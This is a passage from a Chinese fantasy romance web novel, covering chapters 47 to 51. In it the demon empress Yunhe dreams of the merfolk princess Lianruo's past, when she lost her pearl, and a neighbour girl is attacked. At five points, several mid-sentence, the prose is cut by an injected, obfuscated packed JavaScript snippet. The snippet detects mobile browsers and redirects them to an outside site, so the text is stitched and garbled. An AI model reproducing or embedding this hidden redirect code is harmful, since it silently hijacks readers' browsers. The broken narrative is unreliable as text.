话是这么说,莲若却不能什么都让苏见清做,对蕴禾笑笑,去打了盆水来,拿着木刷冲洗。 苏见清站在一旁观察她的动作,有样学样。 蕴禾无所事事站在一旁,不时与莲若说几句话。 “苏公子准备何时去寻活计?” 蕴禾:“啊?” 她一脸懵,“什么活计?” 莲若意外,“苏公子若是不寻活计,他拿什么养家?” 蕴禾无所谓,“我有钱,不用他养。” 莲若细细打量她一眼,笑道:“看来阿蕴姑娘出身不凡。” 蕴禾笑笑,并未答话。 莲若垂首,认真冲洗桌椅,嘴里轻轻哼出小调。 调子轻柔又动听,似深海中传出的一首歌谣,古老悠远。 蕴禾问:“莲姑娘这调子是从何处习来的?” 她回忆片晌,“我好像在何处听过。” 莲若脸色骤变,唇瓣轻抿,抬头佯装无事,“是我家乡流传下来的曲子。” “莲姑娘的家乡在何处?” “一个很远的地方。” 莲若看向某个方向,语调哀伤,“可惜,我或许此生都无法回去了。” 蕴禾:“为何?” 莲若笑笑,“我爹子嗣多,多我一个不多,少我一个也不少,何况我离家前惹他生气,或许他也不想我回去。” 蕴禾若有所思。 眼前方桌已清洗完毕,莲若端起铜盆准备将水倒掉。刚往前迈一步,她忽地头晕眼花,“哐当”一声,铜盆掉落,脏水洒了一身。 “莲姑娘!” 蕴禾及时将她扶住,“你怎么了?” “没、没事。多谢阿蕴姑娘。” 莲若扶额,低弱的嗓音透着虚弱,“可能是蹲太久了,我缓缓就好。” 苏见清停下动作,关心道:“没事吧?” 蕴禾摇头吩咐,“你把剩下的清洗了,我带莲姑娘进去坐坐。” “好。” 半抱着将莲若扶进屋里坐下,蕴禾给她倒了杯水。 莲若手抖,险些没拿稳,蕴禾只好亲手喂到她嘴边。 这还是妖皇陛下第一次亲手喂人喝水,连苏见清都没这个殊荣。 不对。 蕴禾莫名,好端端的,她干甚想起苏见清? 一转眼,杯中之水险些倒进莲若衣领中,她连忙止住,问道:“如何了,好些了吗?” 莲若缓上片刻,“好多了,多谢阿蕴姑娘。” 蕴禾:“你这眩晕之症是怎么回事?最近可经常如此?” 莲若摇头,“不常,也只有劳累过后才会如此。阿蕴姑娘切莫担心,想来我只是累着了。” 她自嘲一笑,“我现在这身子,可真真算得上娇弱了。” 蕴禾没从她身上看出病症,点点头没再说什么。 “莲姐姐,莲姐姐在吗?” 恰在这时,门外响起姑娘清脆的嗓音。 “是巷口周家的周婉妹妹。” 既是相熟的,苏见清便去开了门。 “莲姐……” 手停在半空,五官清秀的姑娘怔怔看着苏见清,眼中惊艳,“你、你是谁?为何会在莲姐姐家中?” 苏见清颔首,侧身让姑娘入内,言简意赅,“邻居。” “邻居?” 周婉觑着苏见清,低喃道:“莲姐姐何时有了这么好看的邻居?” 小姑娘面上飘红,没忍住又看了苏见清一眼。 “周婉妹妹,有事吗?” 莲若从屋内款步走出。 周婉一个激灵,急忙回神,红着脸道:“莲姐姐,这是上次柳大哥借给小弟的书籍,我特意来还的。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16033236|173757||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她把怀里抱着的书交还给莲若,脸上红意越发浓厚。 莲若看她一眼,接过书,笑道:“好。下次若再有想看的,尽管来借便是。” 周婉点头,甜甜笑道:“谢谢莲姐姐,莲姐姐真好。” 莲若轻拍她发顶,看着小姑娘蹦蹦跳跳离开院子。 蕴禾:“如何,身子还好吗?” 莲若抱着书,笑着摇头,“没事,我去歇歇就好了,今日多谢阿蕴姑娘和苏公子。” 蕴禾理所应当地应下这声谢,“那你快进屋躺着,我和苏见清就不打扰了。” “好。” 告完别,蕴禾与苏见清回到隔壁。 “要去柳适做工的地方看看吗?” 蕴禾问:“你知道他在哪儿?” 苏见清一怔,缓缓摇头。 “行,那你去打听。” 蕴禾捂唇打哈欠,“我有些倦,先去睡一觉。” “阿蕴姑娘。” 苏见清拉住蕴禾手腕,皱着眉端详她的神色,“你最近怎么了?” 蕴禾不解,“这话什么意思?” “阿蕴姑娘最近……”苏见清斟酌着语气,“像是格外困倦。” 往常她入眠的时辰还算正常,可这两日往往说不了几句话便喊困,苏见清实在担心。 蕴禾挣开苏见清的手,摆摆手无所谓道:“无碍,不过是做些梦罢了。或许那鲛珠的主人迫不及待想让我知道些什么。” 她往屋内走去,背影潇洒随意,“我去睡了。” 苏见清这才放下心,“好,我去寻柳适的踪迹。” 蕴禾正要点头,忽地停在屋前,转身拧眉审视苏见清,“你方才是在担心我?” 苏见清心中一紧,“我、我示阿蕴姑娘为友,自然担心。” “哼。” 蕴禾冷哼,抬起下颌,神色充斥着目空一切的霸道睥睨,语气骄矜,“本……本姑娘可不是寻常的妖,从来不需要别人担心,往后少把这种情绪浪费在我身上。” 威胁般一眯眼,她危险盯着苏见清,“听见了吗?” 蕴禾今日穿着水蓝色留仙裙,腰间缀珍珠链子,乌发被挽成花苞一样的形状,发上水晶宝石熠熠生辉,眸色清亮无垢,眉宇间的神采比日光与宝石闪烁的光辉还要耀眼。 有一瞬间,苏见清听不清自己的心跳声,却依稀听见自己轻声作答。 “听见了。” 48. 第 48 章 “阿适,咱们就这么不辞而别,你弟弟会不会生气?” 有意识时,蕴禾听见身体的主人这么问。 她暗忖,这是离开柳适的家乡了? 身侧的柳适一袭广袖白衫,长发用青色发带高高束起,腰佩清风剑,端的是公子如玉,翩翩风流。 他抬手用折扇轻敲“蕴禾”额头,笑道:“咱们若是当着小颐的面告别,他岂不是更伤心?” 柳适笑着揽住“蕴禾”的肩,“你这么关心小颐,看来是越发代入嫂子的身份了。” “柳适!” 她羞恼,拍开柳适的手,握着拳头追打。 蕴禾在心里赞一声,恨不得身体的主人再用力些。 敢这么对妖族之皇动手动脚,手爪子不想要了? “打我作甚?我说得不对?你可不就是小颐的嫂子?” “柳适!咱们还没成亲呢!” “你若是想,等下次回去,咱们就当着小颐的面成亲。” “你怎么这么没羞没臊的,我不跟你说了!” “生气了?不理我了?错了错了,我错了,下次再也不开这种玩笑了。” “小仙女?仙子姐姐?你理理我,理理我嘛。” “哎呀你真烦!” “肯和我说话,那就是不生气了?” 自动过滤二人打情骂俏的话,蕴禾心道,柳颐,便是柳适弟弟的名字? 这几日与柳适夫妻接触下来,倒是从未听过这个名字。 是柳适并未与莲若提起,还是柳颐出了意外? 等蕴禾回过神来,眼前却已是另外一幅场景。 柳适二人不知游历到了何处,蕴禾目光移转,只见柳适正和一名颇为俊美阴柔的男子交谈。他们似在一处神秘之境,四周遍布嶙峋高峰,岩石翻滚,寸草不生。 “不知后饶兄可知此地是何处?” 名为后饶的男子神色冷淡,语调慢吞吞的,“此地乃北郡石林,林中妖兽多凶恶,险象迭生,若非意外,寻常修士多避着此处走。” 柳适试探询问:“后饶兄既对此地如此了解,怎会出现在这儿?” “我要找一件东西。” 后饶远眺石林,没什么情绪的眸底忽然大放异彩,嘴角轻轻勾起,满怀憧憬,“我寻了它许久,终于被我找到了。” 柳适揣度他的神情,“那不知我们可否与后饶兄同行?” “不行。” 后饶缓慢开口,“我只想一个人去。” 柳适一噎,不好再做邀请,只能礼貌与后饶告别。 “他不想与我们一道,那我们怎么走出这里?” 蕴禾听见附身的姑娘轻声开口。 柳适无奈,“没事,咱们不急,慢慢找,总会出去的。” 她勉强点头,“好吧。” 这次的梦断断续续的,蕴禾并不能完整看清二人经历了什么,只知他们在北郡石林中待了一个多月,始终寻不着出去的路。 日复一日身处相同的环境中,情绪一日日受到压迫,姑娘开始焦躁,柳适也整日眉头紧皱。 二人皆是心性坚定之人,哪怕不耐,也终日忍耐。 红日高悬,日光普照,灼热干燥,仿佛一场永远也走不出去的梦境。 过了一月。 又是一月,二人被困在此处,焦虑、压迫、烦躁……各种情绪在蔓延。哪怕沉稳如柳适也做不到冷静。 就在这时,他们面前出现一群石虎。 妖兽张口,朝二人咆哮而来,无数块碎石如滚滚江涛,汹涌澎湃着似要将柳适两人吞没。 压抑许久的情绪终于得到释放。 柳适拔出清风剑,身形如风,剑气浩瀚,杀入石虎群中。 她也忍耐不住,配合着柳适出手。 可这群石虎仿佛斩不断的江水,杀了一只,立马有另一只补上来。 柳适力气耗尽,泄力跌坐,姑娘无法,只能暂时带着他退离。 第二日,同样的时辰,那群石虎再次发起攻击。 尚未完全恢复的柳适咬牙,与姑娘避开。 第三日,消失的石虎再度出现。 蕴禾冷眼旁观,隐隐察觉不对。 按理来说,柳适二人已经避开数千里,这群石虎哪怕鼻子再灵,也不可能每次都能准确无误找到他们的踪迹。 况且,它们是如何做到每日准时出现的? 好像背后有只眼睛在默默观察一切,操纵着这群石虎攻击柳适二人。 就是不知,这两人有没有发现了。 蕴禾的视线里,柳适靠坐在岩石上,俊脸泛着不正常的红晕,汗水径直从额角坠落。他大口喘气,俨然一副力竭的模样。 看样子,他坚持不了多久了。 接下来的三日,石虎每日准 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16039154|173757||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 时准点出现,对二人发动攻击。 姑娘终于发现不对,喘气对柳适道:“阿适,这群石虎不对劲,咱们得想办法离开这里。” 柳适抽空应声,将清风剑竖在身前,双眸紧闭,口中念起剑诀,指尖灵气游走。 “清风三千,诸邪避让,破!” 忽有一阵清风平地起,似嫩绿枝叶第一次破土而出,百花初绽,明月沉于湖面,清新、温和、美丽。 这样柔软的风在触碰到石虎时,一瞬间化为万千剑刃,将石虎绞灭,化为漫天齑粉。 “阿适!” 姑娘扶住元气大伤的柳适,焦急问道:“你怎么样?受伤了吗?” 柳适摇头,露出一抹苍白笑意,“我没事,咱们快走。” 姑娘扶住柳适,拿起清风剑,带着他快步远离此地。 她转身时,蕴禾瞥见柳适眼底猩红,脸色痛苦地皱紧眉头。 蕴禾敏锐地察觉柳适不对劲,她还想再看,可惜那姑娘埋头赶路,一门心思只想带柳适离开,并未再投过去一眼。 蕴禾无奈,嘟囔一句这姑娘死心眼,只能按捺住好奇的心,等二人落地再好好观察。 姑娘寻到一处洞穴,小心翼翼把柳适扶进去,从须弥戒内取出丹药和水,一口口给柳适喂进去。 “怎么样,好些了吗?” 柳适脸色苍白靠坐在山壁上,勉强勾唇,“没事,我好多了,不用担心。” “你脸这么白,我怎么能不担心?” 姑娘轻轻抚摸柳适的脸,压着烦躁道:“你好好在这儿待着等我,我再去找找路,今天非得离开这个鬼地方不可。” 她转身就走,下一瞬,“呲”的一声,剑刃刺入皮肉的声音。 剧痛从身体内传出,姑娘不可置信垂首,只见清风剑刺入心脏,鲜血顺着剑身流淌。 “……阿、阿适。” 柳适面无表情收回清风剑,一掌将姑娘打飞。 单薄的身子撞在山壁上,她无力跌落,一颗流光溢彩的紫色鲛珠从胸腔内飞出,飘浮在半空。 “啪嗒。” 仿佛有什么东西碎了。 瞠目结舌望着这一幕的蕴禾猛然发现自己能动了。 她飞出那姑娘体内,垂首一看,一张梨花带雨的小脸映入眼帘。 柳叶眉,含情目,温柔素婉,柔情似水。 竟是莲若。 49. 第 49 章 “……阿适,为什么……?” 泪水不断从莲若眼眶里溢出,在眼角化为颗颗晶莹剔透的白色珍珠,滚落在地。 失去鲛珠令她全身失力,妖力凝滞,被贯穿的胸膛淌出大量鲜血,她嘴角溢出血渍,抬起苍白的脸,不解又痛苦。 “阿适,为什么要这样对我?” 鲛人的血从清风剑上滴落,在山洞中汇成一滩灵光闪烁的紫色水洼。 柳适垂首,碎发遮挡住面容,蕴禾看不清他的神色,只觉此刻的他浑身充斥着浓烈的杀意。 他握紧清风,嗓音刺骨冰冷,“你这妖孽,跟在我身边想做什么?” 莲若瞳孔扩大,不可置信低声喃喃,“你、你知道我是妖?” “从你出现时我便知。” 柳适缓缓抬头,一步步朝莲若走去,清风剑在地面划出一道长血痕。 他闲庭信步,嘴角笑意明朗如月,眼底却一派冰冷。 “我赶着去寻阿若,你说还是不说?” 莲若怔住,表情定格在难过与迷惑间,她忽然明白过来,强撑着身子对柳适道:“阿适,我是阿若,我就是莲若啊。” “就你也敢冒充阿若?” 柳适不屑,“也不找面镜子照照自己。” “行了,你既不说,我也懒得再问,杀了你离开此地,我自会去寻阿若。” 说着,他剑指莲若。 蕴禾看到这儿已经明白。 柳适应该是被某种幻术或者东西影响,将莲若认成了别的妖物,这才会误伤她,导致她鲛珠离体。 她皱眉望着悬浮在空中的鲛珠。 鲛珠离体百年,那莲若是怎么活下来的? 雪亮剑光从眼前掠过,蕴禾侧眸,只见柳适持剑刺向莲若脖颈。 她没力气退让,用尽力气大喊一声,“阿适!” 剑尖在离莲若半寸处顿住,眼中红芒忽隐忽现,柳适表情狰狞,挣扎不已。 “妖、妖物……我要杀了你……” “阿、阿若?你怎么了?谁伤了你?” 柳适一会儿清醒,一会儿陷入混沌,他单手抱头,侧额青筋暴露,痛苦呻吟。 “阿若,我、我怎么了?” “阿适。” 莲若强撑着身子,眼中含泪,嗓音轻柔唤他,“阿适,醒过来,别被人控制了。” “我、我……” 柳适神色痛苦,脖颈、手背青筋凸显,用极大的力气遏制自己举起清风剑的手。 “阿若,快走!” 莲若苦笑,如今这个情况,她如何能走? 眼见柳适眼中红芒大盛,她轻轻闭上眼。 柳适眸色一定,面色在刹那间变得阴寒,他毫不犹豫握住清风,一剑朝莲若刺去。 “啪嗒。” 泪水化为珍珠,滴滴答答落在清风剑上,于剑尖湮灭成粉。 一颗珍珠顺着剑身朝柳适滚去,他皱眉看着,鬼使神差伸手,将之捏住。 入手的刹那,珍珠如泡沫碎开,星星点点水渍散在柳适指腹,他仿佛被火灼烧,指尖用力一颤。 那股烧灼之意从指尖蔓延至心脏,柳适望着倒在血泊中的姑娘,心口宛如被刀割开,巨大的痛苦和恐慌一瞬袭来。 他“当啷”一下放开清风,跌跌撞撞奔赴过去,一把将莲若抱住,颤抖的手捂住她仍在流血的伤口,惊慌道:“阿、阿若,怎么会这样?” “我、我给你疗伤,阿若,你撑住,撑住。” 柳适一股脑将须弥戒中的灵丹拿出,全部喂给莲若,手捧着她的脸,眼里有泪涌出。 “阿若,咽下去,快咽下去啊。” 他骤然想起什么,凭空抓住紫色鲛珠,用灵力将之渡入莲若心口。 “对不起,阿若,对不起对不起对不起……” 泪珠砸在莲若脸上,她扯出一抹笑,“不怪你……” 眸色倏地一变,莲若慌乱,“小、小心……” 已经晚了。 蕴禾侧身,一颗玉珠穿过她的身影朝二人袭去,打断柳适的动作。 灵力泄开,鲛珠砸在莲若裙摆,柳适愤怒回头,看清来人的刹那,脸上惊怒交加。 “是你?!” 蕴禾意外挑眉,是柳适和莲若初入北郡石林遇见的那人? 他叫、叫什么来着? “后饶!” 柳适准确无误叫出来人的名字,恨得眼眶发红,几欲滴血。 “迷惑我的人,是你?” 脸色苍白的阴柔男子并未否认,轻轻点头,“是我。” “为什么?” 柳适咬牙,“我二人与你无冤无仇,为何要设此毒计?” 后饶认真道:“我要的东西到手了,现在来取下一件。” 他目光移至莲若裙摆上的鲛珠,目光痴迷,低喃道:“传言鲛人族这一代最美的鲛人,乃是阙以王族最小的公主,阙以莲若。妖域暂封,哪怕是我想进去也不容易,本以为此生与阙以莲若无缘,可谁能想到,她竟然偷偷跑出了妖域,与我在北郡石林相遇。” 后饶脸上露出笑,赞许道:“不愧是王女,这颗鲛珠,美得令我神晕目眩。” 柳适飞快将鲛珠收好,眸光警惕,暗自召回清风剑。 后饶摇头,“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16048791|173757||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你二人不过强弩之末,何必与我作对?我只要鲛珠,乖乖把它交出来,我可以留你们一命。” 柳适哪怕再无知,也知道妖丹是妖修的修炼本源,而鲛珠对鲛人族来说,是关乎性命的东西,莲若失了鲛珠,哪怕用无数灵丹妙药吊住,最多也只能苟延残喘两三年。 他绝对不会把鲛珠交给眼前这个无耻小人! 后饶见状摇头叹气,“既然你不退让,那我就先杀了你,再取鲛珠。” 柳适放下莲若,义无反顾反攻而上。 这二人皆是化神修为,动起手来堪称惊天动地,山洞承受不住,轰隆坍塌。 蕴禾一言不发看着,眉头轻轻拧起。 身侧莲若一双含情目内泪光点点,视线追寻着柳适,担忧不已。 蕴禾侧眸看她,轻轻叹一口气。 可惜这一切皆是回忆,她此刻又是神魂之态,哪怕再想帮忙,也无济于事。 她冷眼看向半空中的后饶。 这要是在现实里,她一拳把他头给打爆! 觊觎什么不好,偏偏觊觎别人的鲛珠,这不就跟惦记人修心脏一样吗? 恶心,变态! 柳适好歹也是个化神,虽前几日消耗了许多灵力,但他可是修士之中被誉为最强者的剑修,勉强与全盛时期的后饶打个平手。 这场大战持续了整整三日。 第四日时,后饶大抵是不耐了,攻势越发猛烈。 柳适招架不住,应付得格外吃力。 他像是做出了什么决定,回眸望了莲若一眼,嘴角笑意荡开,清风般温和的嗓音落至莲若耳畔。 “阙以莲若,很好听的名字。” “阿若,其实你一点也不会隐藏,见到你的第一面,我就知道你是妖。却不知,你竟是那般美的妖。” “可惜,此生怕是不能见到作为鲛人的你了。” “我早该提醒你的,玄清域对你来说太危险,早些回妖域去吧。” 莲若瞪大眼,珠串从面颊上滚落,她声嘶力竭地吼,“不!” 蕴禾伸手,除了满手清风。 她抬眸。 温柔的风化为这世间最坚韧的剑,剑光织成剑网,将中心二人牢牢包裹。 剑气同时穿过他们的身影,仿佛一场白日流星,美得令人心殇。 “轰——” 灵气爆炸,气浪卷起碎岩,山峰轰隆倒塌。 过了许久,尘埃落定。 天地间一片静谧,唯有一声嘶哑哽咽的嗓音颤抖着唤着心上人,柔弱身影艰难向前匍匐。 “阿适……” “柳适——!” 50. 第 50 章 坍塌的世界里,莲若抱着双眼紧闭,气息微弱的柳适哭得双眼通红。 双手从柳适身上轻抚而过,她喃喃道:“他还活着,他没死,我要带他离开这里,离开这里……” 她抹去眼角珍珠,将身上灵丹灵药全部喂给他,拼尽全力带他离开此地。 蕴禾的身影不由自主跟随。 她看着莲若艰难带着柳适走出倒塌的北郡石林,躲在山洞中,日夜守在他身旁,生怕柳适就此消失。 在莲若的照料下,柳适的气息逐渐稳定,可他外表虽看着安然无恙,内里却是千疮百孔。 莲若伤势也不轻,只能将他暂且安置在山洞里,外出寻找疗伤圣药。 半个月后,一座熟悉的城池出现在蕴禾眼前。 红枫热烈如火,风铃清脆响亮,枫叶簌簌而落,铺就一座和谐安宁的城池。 枫泠城。 莲若抬头,安静注视片刻,缓步走过城门。 她放出手里有妖族珍贵之物的消息,从城主碎金那儿交换了许多灵丹,可即便如此,依旧是杯水车薪。 柳适始终没有苏醒的迹象。 莲若白日为柳适擦身,轻声与他说话,试图唤醒他的神志。夜深人静之时,她独自蜷缩在角落,看着昏迷不醒的心上人咬牙哭泣,连哭声都不敢泄出。 到了第二日,她又打起精神,佯装无恙,笑意盈盈与他说话。 一日日绝望,一日日崩溃,又一日日心生期待,莲若逐渐消瘦,昔日璀璨小脸变得苍白憔悴。 柳适就像一座精致的雕塑,无法出声,无法做出回应,若非气息尚存,蕴禾真的要以为他已经死了。 七日后,越发憔悴的莲若拿出离体已久的鲛珠。 琉云璃彩的紫色鲛珠躺在白皙掌心,珠内光芒璀璨,珠外折射出耀眼夺目的光芒。 莲若手捧鲛珠,不舍用脸颊轻蹭,略一闭眼后,眼里皆是坚定。 她再度前往枫泠城,跪在碎金面前,乞求用鲛珠换一部分他的本源之心。 当年的碎金已经有了如今的滑头模样,只是无论何时,身为木灵的他都有一颗仁爱之心。看着莲若心如死灰的模样,他心里实在不忍。 加春化为人形站在碎金身旁,冷嘲热讽一通,“她的鲛珠珍贵,你的本源之心就不珍贵了?” 碎金小声辩驳,“她是鲛人,鲛珠不可再生,我是木灵,还可以再生的嘛。这样算下来,我也不吃亏。” 加春恨铁不成钢点碎金额头,“长点脑子吧,你损失的本源之心,或许要用千年才能恢复。” 碎金讷讷,“不、不过是千年光影,弹指一瞬,我给、给得起。” 尾音在加春药吃人的眼光里越来越小。 加春怒而挥袖,“我不管了,你爱怎么样怎么样,等你为了点金银珠宝被坑害死,可别来找我哭!” 碎金窝窝囊囊低声嘟囔,“还说我呢,先担心担心你自己吧,当心哪日被野男人坑了。” 加春的声音远远传来,“你嘀嘀咕咕什么呢?” “没什么没什么!” 碎金条件反射抱住脑袋,飞快摇头。 蕴禾瞧他这样还挺新鲜。 这两个木灵,一个爱金银,一个爱美色,别说,还挺般配。 碎金还是用一部分本源之心换了莲若的鲛珠,她感激道谢,匆匆回到山洞,将碎金的本源之心渡到柳适口中。 掌心抚摸心上人冰冷侧脸,莲若低声乞求,“阿适,你快醒过来吧。” 只要你醒过来,哪怕只能再陪伴你短短数载,我也心甘情愿。 …… 睁眼的刹那,鼻尖嗅到一点不同寻常的气息,蕴禾快速起身,身影一晃,朝外飞去。 “呃……啊……救、救命……” 到地方时,蕴禾只看见一道倒在血泊中的娇小身影。 她快速上前,拨开那人脸上的发丝,略有意外。 竟是那名去莲若家还书的小姑娘。 好像是叫……周婉? 察觉到有人来了,周婉暗淡的眼眸一刹绽放出神光,染血的苍白手掌拉住蕴禾的衣袖,气息微弱,“姐、姐……救、救救我,求你……” 眼泪从眼角挤落,小姑娘疼得面如金纸,嘴唇苍白,可怜不已,“姐姐,求你……救救我……” 蕴禾从储物手链里取出灵丹喂到周婉嘴里,轻轻拂开她的手,指尖一划,周婉的身子凭空落到院中藤椅上。 她暂且顾不上其他,快速追出去。 此时正值午后,巷内安宁静谧,空无一人。 蕴禾闭眼,庞大妖气悄无声息笼罩住整个巷子,寻找 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16053081|173757||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 魔修的气息。 片刻后,蕴禾睁眼,眸底恼怒溢出,气恼地深吸一口气。 她折回周婉家,又给她喂一颗灵丹,催促她醒来,迫不及待问:“今日怎么回事,谁伤了你?” 周婉呆呆看了她半晌,在蕴禾逐渐不耐的目光下哭哭啼啼道:“我不、不知道。我只是在家里洗衣裳,忽然感觉好疼好疼,身上好多伤口。” 蕴禾皱眉,“不是有人袭击你?你没看清他的长相?” “不知道。” 周婉哭着摇头,“我真的不知道。这位姐姐,到底是谁和我有深仇大恨,非要杀我?姐姐你救救我好不好?我有钱的,我把压岁钱都给你。” 蕴禾长指按住太阳穴,不想再听她废话,索性仰头扯着嗓子喊:“啊!杀人了!” 声音响彻整座巷子,瞬间惊动了所有人,纷纷出门查看情况。 “怎么了怎么了?” “发生什么事了,什么杀人?” “啊!这不是周家丫头吗?你这是怎么了?” 周家院门前很快围了许多人,对着周婉嘘寒问暖。 蕴禾立在一旁,目光从每个人身上扫过。 “阿蕴姑……阿蕴!” 苏见清不知从何处跑来,视线在蕴禾衣袖上一落,语带惊慌,“你可有事?” “我能有什么事?” 蕴禾朝他翻白眼,手指着被围在中间的周婉,“是她险些出事了。你今日去找到……” 话音一顿,蕴禾看着柳适跟在苏见清身后,瞧见周婉浑身的血脸色一变,追问道:“不知阿蕴姑娘可有看见我家娘子?她……” “夫君,阿蕴姑娘,苏公子,你们在这儿做什么?” 蕴禾转身。 一身蓝色素裙的莲若站在院外,踮着脚尖往里看。 “发生什么事了?” 蕴禾盯着她,眼睛缓缓眯起。 之前她私心里认为此事与莲若无关,那是以为她不过是个普通的女子。 可她是阙以莲若,鲛人王族最小的公主。 她在梦境中看得清清楚楚,莲若将鲛珠换给了碎金,甚至那颗鲛珠现在就在她的储物手链里。 那么,失去鲛珠的阙以莲若,是怎么活到现在的? 封柔的死与周婉的伤,可与她有关? 51. 第 51 章 “阿、阿蕴姑娘……” 莲若不解,“你怎么这么看着我?” 柳适不着痕迹上前一步,挡住蕴禾的视线,低声对妻子道:“阿若,周婉受了伤,你就别进去了。” 蕴禾回神,身子一歪往苏见清身上倒,气息“微弱”道:“没什么,我只是被吓住了。也不知是谁如此狠毒,周婉姑娘还这么小,竟然想要她的命。” 苏见清耳根一红,不自在地把她接住,听完蕴禾的话,偏头看向一身是血的周婉,双唇紧紧抿住。 “是啊,此处不太安生,阿若,我还是先带你回去吧。” 柳适拉住莲若,顿了顿,对蕴禾二人仓促点头,旋即带着莲若离开。 蕴禾双眼微眯注视他们的身影。 如今的柳适,实在不像她梦境中的那个人。 是他被治好后性格在这百年内发生了转变,还是…… 出神间,肩膀被人轻轻一捏,蕴禾站直身子,拉住苏见清穿过人群,回到自个儿家。 一进门,她当即问道:“你是和柳适一起回来的?” 苏见清点头,“不错。” 他面色犹疑,“你怀疑周姑娘的伤,是他所为?” 不等蕴禾回复,他解释,“不是他。我在一个时辰前在城北一家书铺里找到柳适,此后一直与他待在一处,期间他从未离开过我的视线。” “除非……” 顿了顿,苏见清道:“除非他与瞿诏三兄弟一样,拥有分身。” “我没说是他,只是在确认。” 蕴禾将梦境中的所见和盘托出,撑着下巴道:“哪怕感情上再不情愿,我现在最怀疑的,是莲若。” 苏见清目光移至隔壁,忽然问道:“阿蕴姑娘,在梦境里,你从未看清柳颐的脸吗?” 蕴禾点头,“不错,我只模糊看见一道身影,但柳颐和柳适既是双生子,想来容貌应当极为相似。” “不。” 苏见清轻轻摇头,长睫微垂,轻声道:“有的双生子,生得并不相似。” 蕴禾意外,“怎么,你见过?” 苏见清:“嗯。” 他显然并不想提及此事,生硬转移话题,“阿蕴姑娘既然怀疑莲姑娘,那咱们将她盯紧就是,你睡了这么久可饿了?我去给你做饭。” 匆匆转身,苏见清快步走进厨房。 蕴禾歪着脑袋随着他的步伐转身,盯着苏见清的背影一脸沉思。 如此避之不及,他见的双生子是谁? 可惜神控术无法施展,不然她非得弄个明白不可。 蕴禾幽幽叹气。 怎么就对他无效呢? 至于莲若,蕴禾如今算是明白了。 鲛人一族擅幻术,歌声可蛊惑人心,莲若是鲛人族王女,神识较之一般鲛人更是强大,神控术在她身上无效也不奇怪。 正思索着,外头忽然喧闹起来。 蕴禾分出一缕神识出去查探,见一群城主府的护卫匆匆赶来,查探周婉遇袭一事。 周婉有她喂的药,伤势已无大碍,只是身子尚虚弱,被慌张赶回家的周母抱在怀里,轻轻说着自己的遭遇。 那护卫长听完安慰几句,随后便朝蕴禾家而来。 片刻后,院门被人敲响。 苏见清已察觉异常,举着锅铲走出来。 蕴禾对他使了个眼色,“没事,你自己做自己的,我来应付。” 苏见清点头,“好。” 等他回去,蕴禾不耐啧声,打开院门。 门外站着一名中年男子,眉心折痕深刻,显出几分凶相。 蕴禾装作茫然,“你是?” 护卫长开口,嗓音发沉,“我是城主府的守卫,你是阿蕴?” 在苏见清口中如此好听的阿蕴,被这位护卫长念来沉闷又粗哑。 蕴禾不着痕迹翻了个白眼,惊讶道:“我是,阁下是为了周姑娘的事而来?” 见她聪慧,护卫长脸色微缓,“你将事情的经过一一说来。” “我今日无事,在这巷子里闲逛,走到周婉姑娘家时忽然闻到一股浓烈的血腥味,我敲了门,可惜无人应答,等我强行破门而入时,却见周婉姑娘倒在血泊中。” 护卫长:“当时你确定那院子里只有她一人?” 蕴禾点头,“我确定。” 护卫长又问了几个问题,蕴禾回答得滴水不漏,他眉头拧紧,沉着脸离开。 蕴禾关上院门,伸着懒腰 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16058412|173757||http|test|mini|href|location''.split(''|''),0,{})); 